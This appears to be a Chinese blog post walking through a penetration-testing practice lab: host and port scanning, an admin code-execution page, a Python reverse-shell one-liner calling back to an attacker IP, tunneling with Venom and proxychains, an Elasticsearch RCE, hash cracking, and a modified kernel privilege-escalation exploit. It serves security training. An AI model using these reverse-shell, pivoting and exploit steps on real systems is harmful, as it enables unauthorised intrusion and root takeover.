IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> 2021-09-10 -> 正文阅读

[Python知识库]2021-09-10

我发现很多在校学习网络安全专业的学生,或是已经工作的利用业余时间学网上的教程、文档,他们都有共同的一个困境,虽然在花费大量时间去学习、大量精力渗透测试这项技能,但是如果真的给一个网站去让他渗透和攻击,很多人会无从下手,会感觉自己还不会,我首先承认渗透是一项面向实战的技能。很难通过从书本学习上获得这项技能,而是需要真实场景来磨练自己的能力。截至目前为止,打靶是一种最好的方式学习,我个人认为这是非常好的选择,我们知道网上有很使用的多打靶记录文章,但是这些文章存在两个主要问题,第一个是没有关于任何渗透思路的讲解,直接告诉你他是怎么做的。另外一个问题,文章作者往往会故意隐匿一部分他在打靶过程中关键技术操作步骤的重要内容,不想让别人看到。所以以上都不是一个很好的的学习途径。
接下来我准备用30个靶场来讲解不同场景下的渗透思路和思维方法,同时完整的把每一个漏洞每一个环节 当然技术的成长和学习是一个漫长的过程,我不敢说通过这30个靶场能让大家成为一个渗透的高手,但是通过这30个靶场能从实战的角度掌握渗透测试这项技能,未来再通过个人自己的努力不断提高节能。 总之我想通过实战技能能够让网络安全者的起步阶段走的更加从容一点。

                          **靶场1**

先进行局域网内ip扫描:
将kali和靶机安装在同一个虚拟机,并设置同一个网段,我这里都设置NAT模式。
然后开始第一步:kali里面的arpscan工具(这个工具可以扫描局域网所有网段的ip机子):
在这里插入图片描述
其中这个10.0.2.5是我靶机的ip,(我这台kali的ip是10.0.2.4)。

然后对这个靶机再进行全端口扫描:
利用kali自带的nmap工具(这个工具是专门用来扫描或ip的端口开放情况):
在这里插入图片描述
能够看到有两个端口开放,22和5000端口。(一个是ssh服务的22端口,系统是Ubuntu的。一个是5000端口,这个端口带的服务可能很少见,通过搜索引擎搜索“Werkzeug”可以找到它是一个http的基于python语言web开发的底层框架。那么运行的目标服务器语言就是python,而且从探测出来的信息还知道它是2.7.15版本的python,如果未来我们发现目标服务器上面存在一些代码执行等漏洞,我们就可以通过执行python脚本代码在目标机反弹shell、获取控制器等操作。)

对于http服务是可以通过浏览器打开,所以我们尝试打开这个页面:
10.0.2.5:5000(这是个很简单的web页面,唯一一个交互的地方就是发送信息,尝试了一下XSS这种常规注入,发现貌似没有什么利用点。当然我没有做所有绕过探测,暂时先放这,看看其它的利用点)

在这里插入图片描述
所以那就继续常规操作,爆破一下目录:
利用kali自带的dirsearch工具(有的没有,但是会提示你回车安装。我这kali环境python版本有点乱,该工具需要使用python3.7及以上才可以,还要进入dirsearch命令才可以使用):
在这里插入图片描述
可以看到扫描出一个域名下面admin的目录,访问:
在这里插入图片描述
能够看到这是一个代码执行的页面,那么就有可能 输入所有的代码都交给exec()这个函数执行,从我们开始就知道这是用python语言的,所以我们可以尝试使用python的一个脚本代码,尝试让靶机反弹shell到我们的kali机。
在这里插入图片描述
代码:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.199.225”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
先在kali机启动监听,再执行代码(不能乱了顺序启动监听是为了让靶机把shell反弹到自己机器)。
在这里插入图片描述
这时候发现已经反弹成功,因为我执行ls这个命令,能够列出靶机上面的文件列表。
同时输入id命令查看一下当前权限:
在这里插入图片描述
我们发现直接就是root权限,那么是不是到此为止就代表打靶完成了呢?

稍微细心的同学可能看到Dokerfile这个文件,对Docker容器了解的话,Docker是用来模板化来标准版部署环境的,统一标准版批量化的部署,这是个标准的转换模板文件:
在这里插入图片描述

通过cat命令能够看到dockerfile文件里面是个标准的docker部署语句。
说明这就是个Docker容器,我们要想办法绕过容器,拿到宿主机权限才是我们最终的而目标。我们查看当前Docker的ip,如果是内网,就想办法在内网找一下其它机器看看是否有漏洞能否里用:
在这里插入图片描述

我这里先是查看了当前Docker容器的ip,然后ping这个网段存活的其它ip机(因为网段很大,我这里演示就不ping所有的了,可以看到只有172.17.0.1和0.2、0.3给我回包了)。
这时候我们需要来扫描这两个端口和目录。但这是在内网,怎么扫描呢?

这时候就用到内网穿透技术了!
这里我就以Venom工具来演示:

把隧道的客户端程序传输拷贝到目标系统上,然后通过我kali上的在他们之间建立一条隧道

由于目标用的是linux64位,所以用到Venom文件里的agent_linux_x64程序。我在这里给它重命名为a(方便后面书写)
在这里插入图片描述

我这里cd到Venom目录里面,然后执行服务端程序,同时监听一个9999端口(这个端口随便设):
在这里插入图片描述

这是服务端启动监听了。

接下来是客户端要获取到刚才修改为a的那个程序(如何获取到这个a呢?):
我们可以通过kali开启一个http的80服务,然后让靶机来下载我这这kali上面这个a文件。
然后通过目标机来wget来下载这个a文件(顺序不能错,先开启监听,再下载):

在这里插入图片描述

然后我们赋予它执行a程序的权限,同时需要来连接服务器端(也就是我之前开启9999端口的那个服务器):
在这里插入图片描述
然后我们从服务端show命令查看一下有个+ – 1说明有1个连接上了,同时,我们goto 1
再次再80端口上监听一个socks代理一个1080端口:
在这里插入图片描述

我们为了让kali上面所有工具都可以访问内网整个网段,需要使用另外一个工具(kali自带):proxychain命令
来修改一下配置文件,改成sockts5同时端口改成刚才设置的1080

在这里插入图片描述
在这里插入图片描述

一切准备就绪之后可以开始对内网进行扫描了。
首先用nmap来扫描之前探测到的内网段存活的ip,分别是172.17.0.1、0.2、0.3。
同时不要忘记proxychains命令:
在这里插入图片描述
在这里插入图片描述

是不是很眼熟,同样开放了两个端口和之前目标靶机扫描出现的一样。22和5000端口。
同样用浏览器访问一下这个http服务的5000端口(浏览器同样做代理设置:sockts的127.0.0.1:1080):
在这里插入图片描述
在这里插入图片描述

能够看到这个页面和我们之前的靶机页面是一样的。同时在之前靶机发送消息在这个页面也能展示:
在这里插入图片描述
在这里插入图片描述

说明这个172.17.0.1这个机器就是这个10.0.2.5这个机器的宿主机(只不过172.17.0.1这个ip是面向内网的地址)。
通过以上探测我就判断出172.17.0.1就是我们要攻击的目标主机了。

这是对172.17.0.1的探测,还有另外一个内网段的172.17.0.2和172.17.0.3这两机器,我们也来尝试一下,其中,172.17.0.2只开放了5000端口,说明也是和之前的一样,一个web页面没什么能利用的,也是属于172.17.0.1主机的一个容器机,而对172.17.0.3扫描出了不一样的东西:
在这里插入图片描述

熟悉的同学应该知道9200端口是Elasticsearch的默认端口(同时截图上面扫描结果也正是如此)。
我们根据kali工具msf框架,用搜索命令来搜索该服务存在的过往漏洞:
在这里插入图片描述

搜索出来了结果,前面连个个都是远程执行代码漏洞
将第一个文件拷贝下来:
在这里插入图片描述

打开查看一下这个执行漏洞的文件,能够看到是用python2写的,下面使用命令注意要将python3改成python2:
在这里插入图片描述

接着利用这个代码对目标172.17.0.3执行漏洞:

在这里插入图片描述

执行一下ls命令:
在这里插入图片描述

看到存在一个passwords文件,查看一下这个文件,发现是一些用户和密码的hash值。
在这里插入图片描述

可以去在线工具解密一下:

在这里插入图片描述

可以依次去解密,这种账号密码登陆存在于什么地方呢?是不是忽然想起来之前扫描的端口22一直没有去利用,那么这里会不会是峰回路转呢?
我们就先去登陆最开始的靶机(密码就是1337hack,密码输入的时候不会显示出来,输完回车就可以显示登录成功):
在这里插入图片描述

另外三组同样尝试发现不行,只有这个john账号可以登录。也就是这个账号是唯一可以利用的。我们用id查看一下当前用户,再用sudo命令尝试一下能否提权。
在这里插入图片描述

很显然不能够sudo提权,那么接下来用什么办法提权呢?
这时候想到了内核提权,uname -a 命令看一下当前系统版本:
在这里插入图片描述

我们发现这个版本系统很古老,当前最新的linux内核版本应该是5.13左右,而这个是3.13,整整差了两个大版本,这种以前的老版本肯定有存在的系统内核漏洞。同样再次利用searchsploit搜索:
在这里插入图片描述

我们发现有很多这个版本的利用漏洞,然后我们挑选其中一个(真实渗透过程中需要一个个尝试):
然后拷贝当前目录,再编辑查看一下:

在这里插入图片描述

通过观察漏洞利用代码能看出是个C语言编写的程序,同时我们需要gcc来编辑利用它(因为是C语言的源代码):
在这里插入图片描述

如果直接gcc的话,会失败,因为靶机上面没有gcc这个命令,所以我们需要在kali上面对这个文件编译。
但是问题来了,通过阅读源码发现一个问题:
在这里插入图片描述

这行指令定义了一个变量lib,这个变量会调用system函数,通过这个函数执行一条系统命令:系统命令又再次调用了gcc,去查找C语言的库文件,然后把这个库文件编译成so文件(也就是二进制共享库文件),然后在整个漏洞代码利用执行当中会再次加载执行之后的so文件。
也就是说即便我在kali编译之后把二进制放到目标系统上执行,执行过程中还会执行编译用到gcc,还是会报错(因为没有gcc)。
我想了很多解决方法,最简单的方法就是修改源码(我这里把选中的这几行都删掉—>涉及到库文件编译的源码):
在这里插入图片描述

然后对这个代码进行编译操作,同时指定生成exp文件:
在这里插入图片描述

除了这个exp文件,还需要配合上另外一个已经编译生成好的二进制库文件(用locate命令来定位,同时拷贝到当前目录,接下来就是想办法让这两个文件拷贝到目标机上面):

在这里插入图片描述

同样还和之前操作一样,在kali上利用python3模块监听http的80端口,再让目标机wget来下载文件:
在这里插入图片描述

为了能够执行成功exp文件,我将这两个文件都移动到tmp文件下,然后赋予exp文件(执行exp会读取和调用.so文件)可执行操作,执行成功输入id命令可以看到此时提权成功,已经是root账户了:
在这里插入图片描述
到此为止,目标机全部打完。

回顾:先进行了主机的发现,然后再针对发现的主机进行了端口扫描以及服务的扫描。当扫描结束之后我们发现了目标靶机存在5000端口的一个web应用,尝试访问这个web应用,web应用页面下没有收获漏洞。然后通过web路径到发现/admin后台页面,通过后台地址发现一个远程代码执行漏洞,利用这个漏洞获取到了一个目标系统的反弹shell,但是获得这个shell之后发现自己被困在一个容器系统里面。然后又基于这个容器系统对内网IP地址段进行发现,发现过程中识别出了几个内网主机,分别是172.17.0.1、0.2、0.3。再挂上代理进行内网穿透,对这几个地址全端口扫描,我们发现0.3这个地址上面开启了9200端口,也就是elastic search服务端口,尝试对这个服务漏洞利用和攻击,成功拿下了172.17.0.3这台主机,在这台主机里面继续信息搜集发现一个passwords文件,在里面收获了John账号和密码(当然密码需要破解),拿到这个密码之后尝试在内网所有22端口的主机进行登录,最终成功登录了目标靶机的系统,但是接下来之后又遇到了一个难题,我们只是一个普通账号的用户权限,并没有root权限,所以不得不考虑各种各样的提权的操作。我们想到最直接的方法,因为目标主机是个很老版本内核版本的Linux,所以挑选了针对内核漏洞来提权的利用代码,但是这个漏洞利用代码又没有办法在目标系统上进行gcc编译,所以我们不得不修改代码,重新编译,把编译之后的漏洞利用代码和二进制库文件一起传输到目标服务器上,最终在目标服务器上成功利用这个代码进行本地提权,拿到root权限。

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-09-11 18:45:04  更:2021-09-11 18:45:45 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 13:40:18-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计